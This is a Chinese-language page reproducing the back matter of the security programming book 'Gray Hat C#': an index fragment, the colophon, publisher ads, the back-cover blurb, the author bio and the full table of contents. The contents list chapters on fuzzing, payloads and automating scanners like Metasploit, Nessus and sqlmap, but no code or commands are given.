SoapMessagePart 类,61–62
SoapOperation 类,63–64
SoapPortType 类,62–63
SoapType 类,58–60
编写初始解析方法,56–58
X
x86_64 汇编,241。另见托管程序集 Xamarin Studio IDE,2
XElement 类(SOAP XML),76–77
XML 节点,59–60
XPath 查询,57–58
XSS(跨站脚本攻击),20–22
《Gray Hat C#》使用了 New Baskerville、Futura、Dogma 和 TheSansMono Condensed 字体。此书由 Sheridan Books, Inc. 在密歇根州切尔西市印刷和装订。纸张为 60# Finch Smooth,且获得森林管理委员会(FSC)认证。
本书采用平装订法,页面通过冷固、柔性胶水粘合在一起,书本的第一页和最后一页与封面连接。封面实际上并没有粘到书脊上,翻开时,书本可以平躺,且书脊不会破裂。
第十六章
资源
访问
www.nostarch.com/grayhatcsharp/获取资源、勘误表及更多信息。更多来自
NO STARCH PRESS 的实用书籍
《Rootkits 与 Bootkits》
《逆向现代恶意软件与下一代威胁》
作者: ALEX MATROSOV, EUGENE
RODIONOV 和 SERGEY BRATUS
2017 年秋季, 504 页, $49.95
ISBN 978-1-59327-716-1
《攻击网络协议》
作者: JAMES FORSHAW
2017 年秋季, 408 页, $49.95
ISBN 978-1-59327-750-5
《严肃的密码学》
作者: JEAN-PHILIPPE AUMASSON
2017 年夏季, 304 页, $49.95
ISBN 978-1-59327-826-7
《实用数据包分析(第 3 版)》
《使用 Wireshark 解决现实世界的网络问题》
作者: CHRIS SANDERS
2017 年 4 月, 368 页, $49.95
ISBN 978-1-59327-802-1
《硬件黑客》
《硬件制作与破解冒险》
作者: ANDREW “BUNNIE” HUANG
2017 年 3 月, 416 页, $29.95
ISBN 978-1-59327-758-1
精装版
《黑帽 Python》
《黑客与渗透测试的 Python 编程》
作者: JUSTIN SEITZ
2014 年 12 月, 192 页, $34.95
ISBN 978-1-59327-590-7
|
电话:
1.800.420.7240 或
1.415.863.9900
|
邮箱:
网站:
|
第十七章

“准备好迎接疯狂的 C#攻防开发之旅。” —Matt Graeber, Microsoft MVP
学习如何使用 C#强大的核心库集合,自动化繁琐但重要的任务,如模糊测试、漏洞扫描和恶意软件分析。在 Mono 的帮助下,你将编写自己的实用安全工具,这些工具可以在 Windows、OS X、Linux,甚至移动设备上运行。
经过一段时间的 C#速成课程和一些高级特性的学习后,你将学会如何: ⋆ 编写模糊测试工具,利用 HTTP 和 XML 库扫描 SQL 注入和 XSS 攻击 ⋆ 在 Metasploit 中生成 shellcode,以创建跨平台和跨架构的有效负载 ⋆ 自动化 Nessus、OpenVAS 和 sqlmap,扫描漏洞并利用 SQL 注入 ⋆ 为 OS X 和 Linux 编写.NET 反编译器
⋆ 解析和读取离线注册表文件,以提取系统信息
⋆ 使用 MSGPACK RPC 自动化安全工具 Arachni 和 Metasploit 通过最大化 C#丰富的工具和库,简化并优化你的工作日,使用《Gray Hat C#》进行攻防开发。
关于作者
Brandon Perry 自从开源.NET 实现 Mono 问世以来,一直在编写 C#应用程序。在空闲时间,他喜欢为 Metasploit 框架编写模块、解析二进制文件并进行模糊测试。他是《Wicked Cool Shell Scripts, 2nd Edition》(No Starch Press)的联合作者。他在volatileminds.net/管理他的软件和其他项目。
![]() |
最高级的极客娱乐^™ www.nostarch.com |
|---|
“我躺平了。”本书使用了耐用的装订方式,不会突然合上。
第十八章
脚注
第八章:自动化 Cuckoo 沙箱
目录
标题页
版权页
简要目录
详细目录
Matt Graeber 写的序言
前言
我为什么要信任 Mono?
这本书适合谁?
本书的组织结构
致谢
最后的说明
第一章:C#速成课程
选择 IDE
一个简单的例子
引入类和接口
创建类
创建接口
从抽象类派生并实现接口
通过 Main() 方法将一切联系起来
运行 Main() 方法
匿名方法
为方法分配委托
更新消防员类
创建可选参数
更新 Main() 方法
运行更新后的 Main() 方法
与本地库的集成
结论
第二章:模糊测试与利用 XSS 和 SQL 注入漏洞
设置虚拟机
添加主机专用虚拟网络
创建虚拟机
从 BadStore ISO 启动虚拟机
SQL 注入
跨站脚本攻击(XSS)
使用变异模糊测试器模糊测试 GET 请求
污染参数并测试漏洞
构建 HTTP 请求
测试模糊测试代码
模糊测试 POST 请求
编写 POST 请求模糊测试器
模糊测试开始
模糊测试参数
对 JSON 进行模糊测试
设置易受攻击的设备
捕获易受攻击的 JSON 请求
创建 JSON 模糊测试器
测试 JSON 模糊测试器
利用 SQL 注入漏洞
手动执行基于 UNION 的漏洞利用
通过程序化执行基于 UNION 的漏洞利用
利用布尔盲 SQL 漏洞
结论
第三章:模糊测试 SOAP 端点
设置易受攻击的端点
解析 WSDL
为 WSDL 文档创建类
编写初始解析方法
为 SOAP 类型和参数编写类
创建 SoapMessage 类以定义发送的数据
实现消息部分的类
通过 SoapPortType 类定义端口操作
实现端口操作类
定义 SOAP 绑定中使用的协议
编译操作子节点列表
查找端口上的 SOAP 服务
自动化对 SOAP 端点进行 SQL 注入漏洞模糊测试
对单个 SOAP 服务进行模糊测试
对 HTTP POST SOAP 端口进行模糊测试
对 SOAP XML 端口进行模糊测试
运行模糊测试器
结论
第四章:编写回连、绑定和 Metasploit 有效载荷
创建回连有效载荷
网络流
运行命令
运行有效载荷
绑定有效载荷
接受数据、执行命令并返回输出
从流中执行命令
使用 UDP 攻击网络
目标机器的代码
攻击者的代码
从 C# 运行 x86 和 x86-64 Metasploit 有效载荷
设置 Metasploit
生成有效载荷
以非管理代码执行原生 Windows 有效载荷
执行原生 Linux 有效载荷
结论
第五章:自动化 Nessus
REST 与 Nessus API
NessusSession 类
发送 HTTP 请求
登出并清理
测试 NessusSession 类
NessusManager 类
执行 Nessus 扫描
结论
第六章:自动化 Nexpose
安装 Nexpose
激活和测试
一些 Nexpose 行话
NexposeSession 类
ExecuteCommand() 方法
登出并处理我们的会话
查找 API 版本
驱动 Nexpose API
NexposeManager 类
自动化漏洞扫描
创建带有资产的站点
开始扫描
创建 PDF 站点报告并删除站点
综合应用
开始扫描
生成报告并删除站点
运行自动化
结论
第七章:自动化 OpenVAS
安装 OpenVAS
构建类
OpenVASSession 类
使用 OpenVAS 服务器进行身份验证
创建执行 OpenVAS 命令的方法
读取服务器消息
设置 TCP 流以发送和接收命令
证书验证和垃圾回收
获取 OpenVAS 版本
OpenVASManager 类
获取扫描配置并创建目标
总结自动化过程
运行自动化过程
结论
第八章:自动化 Cuckoo 沙箱
设置 Cuckoo 沙箱
手动运行 Cuckoo 沙箱 API
启动 API
检查 Cuckoo 的状态
创建 CuckooSession 类
编写 ExecuteCommand() 方法以处理 HTTP 请求
使用 GetMultipartFormData() 方法创建 Multipart HTTP 数据
使用 FileParameter 类处理文件数据
测试 CuckooSession 和支持类
编写 CuckooManager 类
编写 CreateTask() 方法
任务详情和报告方法
创建 Task 抽象类
排序并创建不同的类类型
将其整合在一起
测试应用程序
结论
第九章:自动化 Sqlmap
运行 sqlmap
sqlmap REST API
使用 curl 测试 sqlmap API
为 sqlmap 创建 Session
创建一个方法来执行 GET 请求
执行 POST 请求
测试 Session 类
SqlmapManager 类
列出 sqlmap 选项
创建一个方法来执行扫描
新的 Main() 方法
扫描报告
自动化完整的 sqlmap 扫描
将 sqlmap 与 SOAP Fuzzer 集成
将 sqlmap GET 请求支持添加到 SOAP Fuzzer
添加 sqlmap POST 请求支持
调用新方法
结论
第十章:自动化 ClamAV
安装 ClamAV
ClamAV 原生库与 clamd 网络守护进程
通过 ClamAV 的原生库实现自动化
设置支持的枚举和类
访问 ClamAV 的原生库函数
编译 ClamAV 引擎
扫描文件
清理工作
通过扫描 EICAR 文件测试程序
通过 clamd 实现自动化
安装 clamd 守护进程
启动 clamd 守护进程
为 clamd 创建会话类
创建 clamd 管理类
使用 clamd 测试
结论
第十一章:Metasploit 自动化
运行 RPC 服务器
安装 Metasploitable
获取 MSGPACK 库
为 MonoDevelop 安装 NuGet 包管理器
安装 MSGPACK 库
引用 MSGPACK 库
编写 MetasploitSession 类
为 HTTP 请求和与 MSGPACK 交互创建 Execute() 方法
将 MSGPACK 响应数据转换
测试会话类
编写 MetasploitManager 类
将所有内容整合在一起
运行 Exploit
与 Shell 交互
获取 Shell
结论
第十二章:Arachni 自动化
安装 Arachni
Arachni REST API
创建 ArachniHTTPSession 类
创建 ArachniHTTPManager 类
将会话和管理类整合在一起
Arachni RPC
手动运行 RPC
ArachniRPCSession 类
ExecuteCommand() 的支持方法
ExecuteCommand() 方法
ArachniRPCManager 类
整合所有内容
结论
第十三章:逆向托管程序集
逆向托管程序集
测试反编译器
使用 monodis 分析程序集
结论
第十四章:读取离线注册表
注册表信息结构
获取注册表信息
读取注册表信息
创建解析注册表文件的类
创建节点密钥类
创建用于存储值密钥的类
测试库
获取引导密钥
GetBootKey() 方法
GetValueKey() 方法
GetNodeKey() 方法
StringToByteArray() 方法
获取引导密钥
验证引导密钥
结论
索引
资源
电子前沿基金会 (EFF)
脚注
第八章:自动化 Cuckoo Sandbox






NO STARCH PRESS 的实用书籍






浙公网安备 33010602011771号